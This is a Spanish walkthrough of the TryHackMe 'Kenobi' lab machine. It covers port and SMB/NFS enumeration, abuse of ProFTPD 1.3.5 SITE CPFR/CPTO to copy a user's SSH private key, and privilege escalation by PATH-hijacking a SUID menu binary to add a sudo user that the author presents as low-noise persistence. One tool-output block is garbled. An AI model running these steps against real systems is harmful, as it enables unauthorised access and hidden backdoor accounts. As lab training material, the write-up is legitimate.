#### Kenobi

Kenobi, una máquina que nos la presentan en TryHackMe con una dificultad media, nos comentan que deberemos enumerar recursos compartidos en Samba, explotar una versión vulnerable de proftpd y escalar privilegios manipulando las variables de ruta.



# Recopilación de información

Comenzamos con una enumeración de puertos rápida y sencilla para obtener que puertos tenemos abiertos, y poder responder la primera respuesta obligatoria.

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# nmap -p- --open -vvv -n -T5 --min-rate
2500 10.10.75.208
Initiating Ping Scan at 00:01
Scanning 10.10.75.208 [4 ports]
Completed Ping Scan at 00:01, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:01
Scanning 10.10.75.208 [65535 ports]
Discovered open port 139/tcp on 10.10.75.208 Discovered open port 21/tcp on 10.10.75.208
Discovered open port 80/tcp on 10.10.75.208
Discovered open port 111/tcp on 10.10.75.208
Discovered open port 22/tcp on 10.10.75.208
Discovered open port 445/tcp on 10.10.75.208
Discovered open port 37383/tcp on 10.10.75.208
Discovered open port 39113/tcp on 10.10.75.208
Discovered open port 46599/tcp on 10.10.75.208
Discovered open port 2049/tcp on 10.10.75.208
Discovered open port 46211/tcp on 10.10.75.208
Completed SYN Stealth Scan at 00:01, 15.30s elapsed (65535 total ports)
Nmap scan report for 10.10.75.208
Host is up, received echo-reply ttl 63 (0.048s latency).
Scanned at 2020-04-30 00:01:40 CEST for 15s
Not shown: 58711 closed ports, 6813 filtered ports
Reason: 58711 resets and 6813 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
P0RT
          STATE SERVICE
                             REASON
21/tcp
                             syn-ack ttl 63
          open ftp
22/tcp
          open ssh
                             syn-ack ttl 63
80/tcp
          open http
                             syn-ack ttl 63
111/tcp
          open rpcbind
                             syn-ack ttl 63
          open netbios-ssn syn-ack ttl 63
139/tcp
445/tcp
          open microsoft-ds syn-ack ttl 63
                             syn-ack ttl 63
2049/tcp open nfs
37383/tcp open unknown
                             syn-ack ttl 63
39113/tcp open unknown
                             syn-ack ttl 63
46211/tcp open unknown
                            syn-ack ttl 63
46599/tcp open unknown
                             syn-ack ttl 63
```

A continuación, enumeramos de los puertos que hemos encontrado sus servicios y versiones:

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# nmap -p21,22,80,111,139,445,2049 -sC -sV
-T5 --min-rate 2500 -oN output.txt 10.10.75.208
Nmap scan report for 10.10.75.208
Host is up (0.047s latency).
P<sub>0</sub>RT
         STATE SERVICE
                           VERSION
                            ProFTPD 1.3.5
21/tcp
         open ftp
                           OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
22/tcp
         open ssh
| ssh-hostkey:
    2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
    256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
    256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp
         open http
                           Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
  http-server-header: Apache/2.4.18 (Ubuntu)
 _http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind
                           2-4 (RPC #100000)
  rpcinfo:
                       port/proto service
    program version
    100000 2,3,4
                          111/tcp
                                    rnchind
    100000 2,3,4
                          111/udp
                                    rpcbind
    100000
           3,4
                          111/tcp6
                                    rpcbind
            3,4
                                    rpcbind
    100000
                         111/udp6
    100003
            2,3,4
                         2049/tcp
                                    nfs
    100003
            2,3,4
                         2049/tcp6
                                    nfs
    100003
            2,3,4
                        2049/udp
                                    nfs
                        2049/udp6
    100003
            2,3,4
                                    nfs
    100005
            1,2,3
                        44511/tcp6
                                    mountd
    100005
            1,2,3
                       46599/tcp
                                    mountd
    100005
            1,2,3
                       50724/udp6
                                    mountd
    100005
                       53209/udp
            1,2,3
                                    mountd
    100021
            1,3,4
                       39113/tcp
                                    nlockmgr
    100021
            1,3,4
                        43618/udp
                                    nlockmgr
    100021
            1,3,4
                        45171/tcp6
                                   nlockmgr
                       58525/udp6
    100021
            1,3,4
                                    nlockmar
                         2049/tcp
    100227
            2,3
                                    nfs acl
    100227
           2,3
                         2049/tcp6
                                    nfs_acl
    100227
                        2049/udp
            2,3
                                    nfs_acl
    100227
           2,3
                        2049/udp6
                                   nfs_acl
139/tcp
        open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
              netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
         open
2049/tcp open
                            2-3 (RPC #100227)
               nfs_acl
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
 _clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
  nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  smb-os-discovery:
    OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
    Computer name: kenobi
    NetBIOS computer name: KENOBI\x00
    Domain name: \x00
    FQDN: kenobi
    System time: 2020-04-29T17:11:55-05:00
 smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
    message_signing: disabled (dangerous, but default)
 smb2-security-mode:
    2.02:
      Message signing enabled but not required
  smb2-time:
    date: 2020-04-29T22:11:55
    start_date: N/A
```

# Recopilando información puerto 80

El output de Nmap, nos ofrece como puerto abierto el 80, tras acceder a el, obtenemos una imágen y tras visualizar el código fuente, no obtenemos información que nos pueda resultar útil.

Utilizaremos dirb para fuzzear directorios:

El diccionario de dirb por defecto no nos ofrece resultados que puedan ayudarnos, probaremos con el diccionario más utilizado "directory-list-2.3-medium.txt".

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# dirb http://10.10.75.208/ -u "/usr/share/
wordlists/dirbuster/directory-list-2.3-medium.txt" -t 200
DIRB v2.22
By The Dark Raver
START_TIME: Thu Apr 30 00:22:54 2020
URL_BASE: http://10.10.75.208/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: NOT forcing an ending '/' on URLs
AUTHORIZATION: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.75.208/ ----
+ http://10.10.75.208/index.html (CODE:200|SIZE:
+ http://10.10.75.208/robots.txt (CODE:200|SIZE:
+ http://10.10.75.208/server-status (CODE:403|SIZE:
END_TIME: Thu Apr 30 00:26:34 2020
DOWNLOADED: 4612 - FOUND: 3
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi#
```

Parece que en este caso, este puerto no nos ayudará para seguir con nuestra máquina y que puede ser un "Rabbit Hole" asique seguiremos buscando información por otros puertos.

## Recopilando información servicio Samba

Anteriormente, en el output del nmap, se nos enumeró el puerto 445 y el 139 con el servicio Samba y con su "WORKGROUP".

Debemos de tener en cuenta que Samba trabja comunmente con los puertos 445 y 139.

El puerto 139 es el que utiliza originalmente NetBIOS. Las últimas versiones de SMB (antes de Windows 2000) empiezan a utilizar el puerto 445.

A continuación, utilizaremos un script de nmap que nos permitirá enumerar usuarios en el servicio y recursos compartidos en el servicio SMB:

Tenemos más información de estos parámetros aquí:

- -Recursos compartidos: https://nmap.org/nsedoc/scripts/smb-enum-shares.html
- -Usuarios: https://nmap.org/nsedoc/scripts/smb-enum-users.html

-Servicios: https://nmap.org/nsedoc/scripts/smb-enum-services.html

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# nmap -p 445,139 --script=smb-enum-
shares.nse,smb-enum-users.nse,smb-enum-services.nse -T5 10.10.75.208 -oN output2.txt
P0RT
        STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
 smb-enum-shares:
   account_used: guest
    \\10.10.75.208\IPC$:
      Type: STYPE IPC HIDDEN
      Comment: IPC Service (kenobi server (Samba, Ubuntu))
      Users: 3
     Max Users: <unlimited>
      Path: C:\tmp
      Anonymous access: READ/WRITE
      Current user access: READ/WRITE
    \\10.10.75.208\anonymous:
      Type: STYPE DISKTREE
      Comment:
      Users: 0
      Max Users: <unlimited>
      Path: C:\home\kenobi\share
      Anonymous access: READ/WRITE
      Current user access: READ/WRITE
    \\10.10.75.208\print$:
      Type: STYPE DISKTREE
      Comment: Printer Drivers
      Users: 0
      Max Users: <unlimited>
      Path: C:\var\lib\samba\printers
      Anonymous access: <none>
      Current user access: <none>
```

Tenemos enumerada una gran cantidad de información que nos puede servir para comenzar la explotación del servicio.

Debemos de leer toda la información bien y recopilarla en un archivo de texto.

A continuación, a través de "SMBMAP" enumeraremos unidades compartidas del dominio de samba.

Esta herramienta está diseñada en python3 para simplificar la búsqueda de datos potencialmente confidenciales.

Podemos obtener esta herramienta en: https://github.com/ShawnDEvans/smbmap

A continuación, lanzaremos smbmap con el parámetro -H para introducirle la IP del host y obtener recursos.

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# smbmap -H 10.10.75.208
[+] Guest session IP: 10.10.75.208:445
                                              Name:
10.10.75.208
       Disk
                                                              Permissions
                                                                              Comment
                                                              NO ACCESS
       print$
                                                                              Printer Drivers
                                                              READ ONLY
       anonymous
                                                              NO ACCESS
                                                                              IPC Service (kenobi
       IPC$
server (Samba, Ubuntu))
```

Vemos que podemos leer la información que hay en "anonymous" y obtener el archivo "log.txt", utilizaremos smbclient:

Despues de analizar el archivo log.txt, vemos que está relacionado con la generación de una clave de ssh y con información del puerto 21, tal vez, podamos tirar por ese puerto.

# Recopilando información servicio RPC

El servicio RPC nos permite conocer que otros servicios se encuentran operativos en el servidor.

Se puede encontrar tanto en el puerto 111 TCP como en UDP.

RPCinfo nos permite realizar una consulta al servidor y conocer que servicios se están ejecutando en este aunque también podríamos utilizar scripts de nmap para buscar archivos montados en el servidor:

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi# nmap -p 111 --script=nfs-ls,nfs-
statfs,nfs-showmount 10.10.75.208
Nmap scan report for 10.10.75.208
Host is up (0.052s latency).
            STATE SERVICE
111/tcp open rpcbind
  nfs-ls: Volume /var
      access: Read Lookup NoModify NoExtend NoDelete NoExecute
  PERMISSION UID GID SIZE TIME rwxr-xr-x 0 0 4096 2019-09-04T08:53:24
                                                                                  FILENAME
   rwxr-xr-x 0 0
                                      4096 2019-09-04T12:27:33
   rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
   rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache

        rwxrwxrwt
        0
        0
        4096
        2019-09-04T10.37.44

        rwxrwxrwt
        0
        0
        4096
        2019-09-04T08:43:56

        rwxrwxrwx
        0
        50
        4096
        2016-04-12T20:14:23

        rwxrwxrwx
        0
        9
        2019-09-04T08:41:33

        rwxrwxr-x
        0
        108
        4096
        2019-09-04T10:37:44

        rwxr-xr-x
        0
        4096
        2019-01-29T23:27:41

        rwxr-xr-x
        0
        4096
        2019-09-04T08:53:24

                                     4096 2019-09-04T08:43:56 crash
                                                                                 local
                                                                                 lock
                                                                                 log
                                     4096 2019-01-29T23:27:41 snap
                                      4096 2019-09-04T08:53:24 www
  nfs-showmount:
      /var *
  nfs-statfs:
      Filesystem 1K-blocks Used
                                                             Available Use% Maxfilesize Maxlink
                         9204224.0 1837756.0 6875872.0 22%
                                                                                        16.0T
                                                                                                             32000
Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds
```

El resultado parece más que interesante, tenemos montado el directorio /var.

#### Explotación

A continuación, vamos a tratar de obtener la "id\_rsa" del usuario a través de una mala configuración para acceder por SSH, lo realizaremos conectandonos por NetCat al puerto 21 y utilizaremos:

SITE CPFR: Copy From SITE CPTO: Copy To

#### Explotando servicio Samba

Copiaremos la id\_rsa a un directorio donde tengamos permisos y acceso, en este caso es el directorio visualizado anteriormente como "/var":

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# nc 10.10.75.208 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.75.208] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful
```

A continuación, trataremos de montar en nuestro equipo el directorio "/tmp", crearemos un directorio y lo montamos de la siguiente forma para obtener la "id rsa":

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# mkdir /mnt/NFS
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# mount 10.10.75.208:/var /mnt/NFS/
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# cp /mnt/NFS/
backups/ cache/ crash/ lib/ local/ lock/ log/ mail/ opt/ run/ snap/
spool/ tmp/ www/
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# cp /mnt/NFS/tmp/id_rsa .
```

Ya podríamos acceder a través de SSH utilizando el id\_rsa ya que a través de este, podríamos acceder como usuario kenobi sin utilizar su contraseña y obtener la flag de user:

```
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# chmod 600 id rsa
root@kalil:/home/kaito/Escritorio/THM/OSCPPREPARATION/Kenobi/exploit# ssh kenobi@10.10.75.208 -i id rsa
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                  https://landscape.canonical.com
* Support:
                   https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo root" for details.
kenobi@kenobi:~$ whoami
kenobi
kenobi@kenobi:~$ ls /home/kenobi/
share user.txt
kenobi@kenobi:~$
```

#### Post-Explotación

# Escalación de privilegios

Una vez que obtenemos la Shell en SSH como usuario "kenobi" trataremos de escalar a usuario root.

Con el comando "find / -perm -u=s -type f 2>/dev/null" buscamos binarios que se ejecuten como el propietario, en este caso, como root.

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd.
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

Observando, vemos que no es normal que aparezca un archivo con esos permisos y con el nombre "menu", vamos a explorar este archivo con el comando "strings":

```
kenobi@kenobi:/usr$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
  _isoc99_scanf
puts
 _stack_chk_fail
printf
system
  _libc_start_main
__gmon_start_
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-
AWAVA
AUATL
[]A\A]A^A_
*****************

    status check

2. kernel version
ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
```

Si observamos, nos damos cuenta que el binario utiliza curl.

Podriamos aprovecharnos de esto, clonaremos el repositorio: https://github.com/mzfr/gtfo.git que nos permitirá utilizar gtfobins mediante un programa en python para ver de que formas podríamos escalar privilegios a través del binario curl:

```
root@kalil:/opt# git clone https://github.com/mzfr/gtfo.git
Clonando en 'gtfo'...
remote: Enumerating objects: 56, done.
remote: Counting objects: 100% (56/56), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 56 (delta 21), reused 42 (delta 12), pack-reused 0
Desempaquetando objetos: 100% (56/56), 317.52 KiB | 1.15 MiB/s, listo.
root@kalil:/opt/gtfo# pip3 install -r requirements.txt
Requirement already satisfied: pyyaml in /usr/lib/python3/dist-packages (from -r requirements.txt (line
1)) (5.3)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt
(line 2)) (2.22.0)
Collecting bs4 (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/10/ed/
7e8b97591f6f456174139ec089c769f89a94a1a4025fe967691de971f314/bs4-0.0.1.tar.gz
Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line
4)) (4.5.0)
Collecting requests_cache (from -r requirements.txt (line 5))
  Downloading https://files.pythonhosted.org/packages/7f/
55/9blc40eb83c16d8fc79c5f6c2ffade04208b080670fbfc35e0a5effb5a92/requests_cache-0.5.2-py2.py3-none-
any.whl
Collecting tabulate (from -r requirements.txt (line 6))
  Downloading https://files.pythonhosted.org/packages/c4/
f4/770ae9385990f5a19a91431163d262182d3203662ea2b5739d0fcfc080f1/tabulate-0.8.7-py3-none-any.whl
Requirement already satisfied: pyfiglet in /usr/lib/python3/dist-packages (from -r requirements.txt
(line 7)) (0.8.post0)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from bs4->-r
requirements.txt (line 3)) (4.8.2)
Building wheels for collected packages: bs4
  Running setup.py bdist_wheel for bs4 ... done
  Stored in directory: /root/.cache/pip/wheels/a0/b0/
b2/4f80b9456b87abedbc0bf2d52235414c3467d8889be38dd472
Successfully built bs4
Installing collected packages: bs4, requests-cache, tabulate
Successfully installed bs4-0.0.1 requests-cache-0.5.2 tabulate-0.8.7
```

Introduciremos el parámetro -b para decirle que binario queremos utilizar:

```
* Seed local file with as WITP post request, As as will service on the attacker has to tillect the file. Note that the file will be seen as-is, instruct the service to not Wit-decode the body, Only the With seed month-coded data.

**Code in Code in Code
```

No obtenemos resultados que nos sirvan ya que nosotros, necesitamos realizar un "Path Hijacking" a la ruta del binario para obtener una shell como root.

Debido a que el archivo se ejecuta con privilegios de los usuarios raíz, modificaremos nuestra ruta raiz para añadir un usuario con el nombre "desarrollo" al grupo sudo y poder tener persistencia en el sistema.

Nos dirigiremos al directorio "/tmp" en la máquina víctima y crearemos un archivo con el nombre "curl" que contendrá en bash un script que creará un usuario con el nombre "desarrollo" y lo añadirá al grupo de sudo.

```
kenobi@kenobi:/tmp$ echo "sudo adduser desarrollo && sudo adduser desarrollo sudo" > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ menu
**************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
Adding user `desarrollo'
Adding new group `desarrollo' (1001) ...
Adding new user `desarrolllo' (1001) with group `desarrollo' ...
Creating home directory `/home/desarrollo' ...
Copying files from `/etc/skel'
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for desarrollo
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
Adding user `desarrollo' to group `sudo' ...
Adding user desarrollo to group sudo
Done.
kenobi@kenobi:/tmp$ su desarrollo
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
desarrollo@kenobi:/tmp$ whoami
desarrollo
desarrollo@kenobi:/tmp$ sudo -l
[sudo] password for desarrollo:
Matching Defaults entries for desarrollo on kenobi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin
User desarrollo may run the following commands on kenobi:
    (ALL: ALL) ALL
desarrolllo@kenobi:/tmp$ sudo su
root@kenobi:/tmp# whoami
root@kenobi:/tmp# ls -l /root/
total 4
-rw-r--r-- 1 root root 33 Sep 4 2019 root.txt
```

Podríamos obtener directamente una shell de root pero me parece interesante e importante que se conozcan otros métodos, además, de esta forma podríamos obtener persistencia ya que el usuario "desarrollo" entre otros que podríamos crear, no debería de ser un nombre muy ruidoso y podríamos escalar a root en cualquier momento con "sudo su".